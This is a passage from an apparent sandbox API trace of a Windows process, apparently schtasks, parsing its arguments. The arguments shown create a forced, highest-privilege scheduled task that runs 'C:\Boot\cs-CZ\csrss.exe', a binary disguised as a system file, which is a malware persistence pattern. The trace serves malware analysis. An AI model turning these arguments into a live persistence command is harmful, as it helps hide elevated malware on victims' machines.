(lpString="|tr|") returned 4 [0068.314] SetLastError (dwErrCode=0x490) [0068.314] lstrlenW (lpString="create") returned 6 [0068.314] lstrlenW (lpString="create") returned 6 [0068.314] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.314] lstrlenW (lpString="tr") returned 2 [0068.314] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.314] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.314] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.314] lstrlenW (lpString="|create|") returned 8 [0068.314] lstrlenW (lpString="|tr|") returned 4 [0068.314] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0068.314] SetLastError (dwErrCode=0x490) [0068.314] lstrlenW (lpString="delete") returned 6 [0068.314] lstrlenW (lpString="delete") returned 6 [0068.314] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.314] lstrlenW (lpString="tr") returned 2 [0068.314] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.314] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|delete|") returned 8 [0068.314] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.314] lstrlenW (lpString="|delete|") returned 8 [0068.314] lstrlenW (lpString="|tr|") returned 4 [0068.314] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0068.314] SetLastError (dwErrCode=0x490) [0068.314] lstrlenW (lpString="query") returned 5 [0068.314] lstrlenW (lpString="query") returned 5 [0068.315] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.315] lstrlenW (lpString="tr") returned 2 [0068.315] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.315] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|query|") returned 7 [0068.315] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.315] lstrlenW (lpString="|query|") returned 7 [0068.315] lstrlenW (lpString="|tr|") returned 4 [0068.315] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0068.315] SetLastError (dwErrCode=0x490) [0068.315] lstrlenW (lpString="change") returned 6 [0068.315] lstrlenW (lpString="change") returned 6 [0068.315] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.315] lstrlenW (lpString="tr") returned 2 [0068.315] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.315] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|change|") returned 8 [0068.315] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.315] lstrlenW (lpString="|change|") returned 8 [0068.315] lstrlenW (lpString="|tr|") returned 4 [0068.315] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0068.315] SetLastError (dwErrCode=0x490) [0068.315] lstrlenW (lpString="run") returned 3 [0068.315] lstrlenW (lpString="run") returned 3 [0068.315] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.315] lstrlenW (lpString="tr") returned 2 [0068.315] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.315] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|run|") returned 5 [0068.315] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.315] lstrlenW (lpString="|run|") returned 5 [0068.316] lstrlenW (lpString="|tr|") returned 4 [0068.316] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0068.316] SetLastError (dwErrCode=0x490) [0068.316] lstrlenW (lpString="end") returned 3 [0068.316] lstrlenW (lpString="end") returned 3 [0068.316] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.316] lstrlenW (lpString="tr") returned 2 [0068.316] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.316] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|end|") returned 5 [0068.316] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.316] lstrlenW (lpString="|end|") returned 5 [0068.316] lstrlenW (lpString="|tr|") returned 4 [0068.316] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0068.316] SetLastError (dwErrCode=0x490) [0068.316] lstrlenW (lpString="showsid") returned 7 [0068.316] lstrlenW (lpString="showsid") returned 7 [0068.316] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.316] lstrlenW (lpString="tr") returned 2 [0068.316] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.316] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|showsid|") returned 9 [0068.316] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.316] lstrlenW (lpString="|showsid|") returned 9 [0068.316] lstrlenW (lpString="|tr|") returned 4 [0068.316] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0068.316] SetLastError (dwErrCode=0x490) [0068.316] SetLastError (dwErrCode=0x490) [0068.316] SetLastError (dwErrCode=0x0) [0068.316] lstrlenW (lpString="/tr") returned 3 [0068.316] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0068.316] SetLastError (dwErrCode=0x490) [0068.316] SetLastError (dwErrCode=0x0) [0068.316] lstrlenW (lpString="/tr") returned 3 [0068.316] GetProcessHeap () returned 0x240000 [0068.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25d2d0 [0068.317] GetProcessHeap () returned 0x240000 [0068.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dcb0 [0068.317] SetLastError (dwErrCode=0x0) [0068.317] SetLastError (dwErrCode=0x0) [0068.317] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.317] lstrlenW (lpString="-/") returned 2 [0068.317] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0068.317] SetLastError (dwErrCode=0x490) [0068.317] SetLastError (dwErrCode=0x490) [0068.317] SetLastError (dwErrCode=0x0) [0068.317] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.317] StrChrIW (lpStart="'C:\\Boot\\cs-CZ\\csrss.exe'", wMatch=0x3a) returned=":\\Boot\\cs-CZ\\csrss.exe'" [0068.317] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.317] GetProcessHeap () returned 0x240000 [0068.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d2f0 [0068.317] _memicmp (_Buf1=0x25d2f0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.317] GetProcessHeap () returned 0x240000 [0068.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d310 [0068.317] GetProcessHeap () returned 0x240000 [0068.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25e4e0 [0068.317] _memicmp (_Buf1=0x25e4e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.317] GetProcessHeap () returned 0x240000 [0068.317] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x36) returned 0x257bb0 [0068.317] SetLastError (dwErrCode=0x7a) [0068.317] SetLastError (dwErrCode=0x0) [0068.317] SetLastError (dwErrCode=0x0) [0068.317] lstrlenW (lpString="'C") returned 2 [0068.317] lstrlenW (lpString="-/") returned 2 [0068.317] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0068.317] SetLastError (dwErrCode=0x490) [0068.317] SetLastError (dwErrCode=0x490) [0068.318] SetLastError (dwErrCode=0x0) [0068.318] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.318] GetProcessHeap () returned 0x240000 [0068.318] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x34) returned 0x257bf0 [0068.318] GetProcessHeap () returned 0x240000 [0068.318] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dce0 [0068.318] SetLastError (dwErrCode=0x0) [0068.318] SetLastError (dwErrCode=0x0) [0068.318] lstrlenW (lpString="/rl") returned 3 [0068.318] lstrlenW (lpString="-/") returned 2 [0068.318] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.318] lstrlenW (lpString="?") returned 1 [0068.318] lstrlenW (lpString="?") returned 1 [0068.318] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.318] lstrlenW (lpString="rl") returned 2 [0068.318] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.318] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|?|") returned 3 [0068.318] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.318] lstrlenW (lpString="|?|") returned 3 [0068.318] lstrlenW (lpString="|rl|") returned 4 [0068.318] SetLastError (dwErrCode=0x490) [0068.318] lstrlenW (lpString="create") returned 6 [0068.318] lstrlenW (lpString="create") returned 6 [0068.318] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.318] lstrlenW (lpString="rl") returned 2 [0068.318] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.318] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.318] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.318] lstrlenW (lpString="|create|") returned 8 [0068.318] lstrlenW (lpString="|rl|") returned 4 [0068.318] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0068.318] SetLastError (dwErrCode=0x490) [0068.319] lstrlenW (lpString="delete") returned 6 [0068.319] lstrlenW (lpString="delete") returned 6 [0068.319] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.319] lstrlenW (lpString="rl") returned 2 [0068.319] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.319] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|delete|") returned 8 [0068.319] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.319] lstrlenW (lpString="|delete|") returned 8 [0068.319] lstrlenW (lpString="|rl|") returned 4 [0068.319] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0068.319] SetLastError (dwErrCode=0x490) [0068.319] lstrlenW (lpString="query") returned 5 [0068.319] lstrlenW (lpString="query") returned 5 [0068.319] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.319] lstrlenW (lpString="rl") returned 2 [0068.319] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.319] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|query|") returned 7 [0068.319] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.319] lstrlenW (lpString="|query|") returned 7 [0068.319] lstrlenW (lpString="|rl|") returned 4 [0068.319] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0068.319] SetLastError (dwErrCode=0x490) [0068.319] lstrlenW (lpString="change") returned 6 [0068.319] lstrlenW (lpString="change") returned 6 [0068.319] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.319] lstrlenW (lpString="rl") returned 2 [0068.319] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.319] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|change|") returned 8 [0068.319] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.319] lstrlenW (lpString="|change|") returned 8 [0068.319] lstrlenW (lpString="|rl|") returned 4 [0068.320] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0068.320] SetLastError (dwErrCode=0x490) [0068.320] lstrlenW (lpString="run") returned 3 [0068.320] lstrlenW (lpString="run") returned 3 [0068.320] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.320] lstrlenW (lpString="rl") returned 2 [0068.320] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.320] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|run|") returned 5 [0068.320] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.320] lstrlenW (lpString="|run|") returned 5 [0068.320] lstrlenW (lpString="|rl|") returned 4 [0068.320] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0068.320] SetLastError (dwErrCode=0x490) [0068.320] lstrlenW (lpString="end") returned 3 [0068.320] lstrlenW (lpString="end") returned 3 [0068.320] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.375] lstrlenW (lpString="rl") returned 2 [0068.375] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.375] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|end|") returned 5 [0068.375] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.375] lstrlenW (lpString="|end|") returned 5 [0068.375] lstrlenW (lpString="|rl|") returned 4 [0068.375] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0068.375] SetLastError (dwErrCode=0x490) [0068.375] lstrlenW (lpString="showsid") returned 7 [0068.375] lstrlenW (lpString="showsid") returned 7 [0068.375] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.375] lstrlenW (lpString="rl") returned 2 [0068.375] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.375] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|showsid|") returned 9 [0068.375] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|rl|") returned 4 [0068.376] lstrlenW (lpString="|showsid|") returned 9 [0068.376] lstrlenW (lpString="|rl|") returned 4 [0068.376] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0068.376] SetLastError (dwErrCode=0x490) [0068.376] SetLastError (dwErrCode=0x490) [0068.376] SetLastError (dwErrCode=0x0) [0068.376] lstrlenW (lpString="/rl") returned 3 [0068.376] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0068.376] SetLastError (dwErrCode=0x490) [0068.376] SetLastError (dwErrCode=0x0) [0068.376] lstrlenW (lpString="/rl") returned 3 [0068.376] GetProcessHeap () returned 0x240000 [0068.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25ecb0 [0068.376] GetProcessHeap () returned 0x240000 [0068.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dd10 [0068.376] SetLastError (dwErrCode=0x0) [0068.376] SetLastError (dwErrCode=0x0) [0068.376] lstrlenW (lpString="HIGHEST") returned 7 [0068.376] lstrlenW (lpString="-/") returned 2 [0068.376] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0068.376] SetLastError (dwErrCode=0x490) [0068.376] SetLastError (dwErrCode=0x490) [0068.376] SetLastError (dwErrCode=0x0) [0068.376] lstrlenW (lpString="HIGHEST") returned 7 [0068.376] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0068.376] SetLastError (dwErrCode=0x490) [0068.376] SetLastError (dwErrCode=0x0) [0068.377] lstrlenW (lpString="HIGHEST") returned 7 [0068.377] GetProcessHeap () returned 0x240000 [0068.377] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25e500 [0068.377] GetProcessHeap () returned 0x240000 [0068.377] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dd40 [0068.377] SetLastError (dwErrCode=0x0) [0068.377] SetLastError (dwErrCode=0x0) [0068.377] lstrlenW (lpString="/f") returned 2 [0068.377] lstrlenW (lpString="-/") returned 2 [0068.377] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.377] lstrlenW (lpString="?") returned 1 [0068.377] lstrlenW (lpString="?") returned 1 [0068.377] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.377] lstrlenW (lpString="f") returned 1 [0068.377] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.377] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|?|") returned 3 [0068.377] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.377] lstrlenW (lpString="|?|") returned 3 [0068.377] lstrlenW (lpString="|f|") returned 3 [0068.377] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0068.377] SetLastError (dwErrCode=0x490) [0068.377] lstrlenW (lpString="create") returned 6 [0068.377] lstrlenW (lpString="create") returned 6 [0068.377] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.377] lstrlenW (lpString="f") returned 1 [0068.377] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.377] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.378] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.378] lstrlenW (lpString="|create|") returned 8 [0068.378] lstrlenW (lpString="|f|") returned 3 [0068.378] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0068.378] SetLastError (dwErrCode=0x490) [0068.378] lstrlenW (lpString="delete") returned 6 [0068.378] lstrlenW (lpString="delete") returned 6 [0068.378] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.378] lstrlenW (lpString="f") returned 1 [0068.378] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.378] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|delete|") returned 8 [0068.378] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.378] lstrlenW (lpString="|delete|") returned 8 [0068.378] lstrlenW (lpString="|f|") returned 3 [0068.378] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0068.378] SetLastError (dwErrCode=0x490) [0068.378] lstrlenW (lpString="query") returned 5 [0068.378] lstrlenW (lpString="query") returned 5 [0068.378] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.378] lstrlenW (lpString="f") returned 1 [0068.378] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.378] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|query|") returned 7 [0068.378] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.378] lstrlenW (lpString="|query|") returned 7 [0068.379] lstrlenW (lpString="|f|") returned 3 [0068.379] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0068.379] SetLastError (dwErrCode=0x490) [0068.379] lstrlenW (lpString="change") returned 6 [0068.379] lstrlenW (lpString="change") returned 6 [0068.379] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.379] lstrlenW (lpString="f") returned 1 [0068.379] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.379] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|change|") returned 8 [0068.379] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.379] lstrlenW (lpString="|change|") returned 8 [0068.379] lstrlenW (lpString="|f|") returned 3 [0068.379] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0068.379] SetLastError (dwErrCode=0x490) [0068.379] lstrlenW (lpString="run") returned 3 [0068.379] lstrlenW (lpString="run") returned 3 [0068.379] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.379] lstrlenW (lpString="f") returned 1 [0068.379] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.379] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|run|") returned 5 [0068.379] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.379] lstrlenW (lpString="|run|") returned 5 [0068.379] lstrlenW (lpString="|f|") returned 3 [0068.379] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0068.379] SetLastError (dwErrCode=0x490) [0068.380] lstrlenW (lpString="end") returned 3 [0068.380] lstrlenW (lpString="end") returned 3 [0068.380] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.380] lstrlenW (lpString="f") returned 1 [0068.380] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.380] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|end|") returned 5 [0068.380] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.380] lstrlenW (lpString="|end|") returned 5 [0068.380] lstrlenW (lpString="|f|") returned 3 [0068.380] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0068.380] SetLastError (dwErrCode=0x490) [0068.380] lstrlenW (lpString="showsid") returned 7 [0068.380] lstrlenW (lpString="showsid") returned 7 [0068.380] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.380] lstrlenW (lpString="f") returned 1 [0068.380] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.380] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|showsid|") returned 9 [0068.380] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|f|") returned 3 [0068.380] lstrlenW (lpString="|showsid|") returned 9 [0068.380] lstrlenW (lpString="|f|") returned 3 [0068.380] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0068.380] SetLastError (dwErrCode=0x490) [0068.380] SetLastError (dwErrCode=0x490) [0068.380] SetLastError (dwErrCode=0x0) [0068.380] lstrlenW (lpString="/f") returned 2 [0068.380] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0068.381] SetLastError (dwErrCode=0x490) [0068.381] SetLastError (dwErrCode=0x0) [0068.381] lstrlenW (lpString="/f") returned 2 [0068.381] GetProcessHeap () returned 0x240000 [0068.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x6) returned 0x25ecd0 [0068.381] GetProcessHeap () returned 0x240000 [0068.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dd70 [0068.381] SetLastError (dwErrCode=0x0) [0068.381] GetProcessHeap () returned 0x240000 [0068.381] GetProcessHeap () returned 0x240000 [0068.381] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d1e0) returned 1 [0068.381] GetProcessHeap () returned 0x240000 [0068.381] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d1e0) returned 0x8 [0068.381] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d1e0 | out: hHeap=0x240000) returned 1 [0068.381] GetProcessHeap () returned 0x240000 [0068.381] GetProcessHeap () returned 0x240000 [0068.381] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dbf0) returned 1 [0068.381] GetProcessHeap () returned 0x240000 [0068.381] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dbf0) returned 0x20 [0068.382] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dbf0 | out: hHeap=0x240000) returned 1 [0068.382] GetProcessHeap () returned 0x240000 [0068.382] GetProcessHeap () returned 0x240000 [0068.382] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d270) returned 1 [0068.382] GetProcessHeap () returned 0x240000 [0068.382] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d270) returned 0xc [0068.382] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d270 | out: hHeap=0x240000) returned 1 [0068.382] GetProcessHeap () returned 0x240000 [0068.382] GetProcessHeap () returned 0x240000 [0068.382] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc20) returned 1 [0068.382] GetProcessHeap () returned 0x240000 [0068.382] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dc20) returned 0x20 [0068.383] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc20 | out: hHeap=0x240000) returned 1 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d290) returned 1 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d290) returned 0x8 [0068.383] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d290 | out: hHeap=0x240000) returned 1 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc50) returned 1 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dc50) returned 0x20 [0068.383] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc50 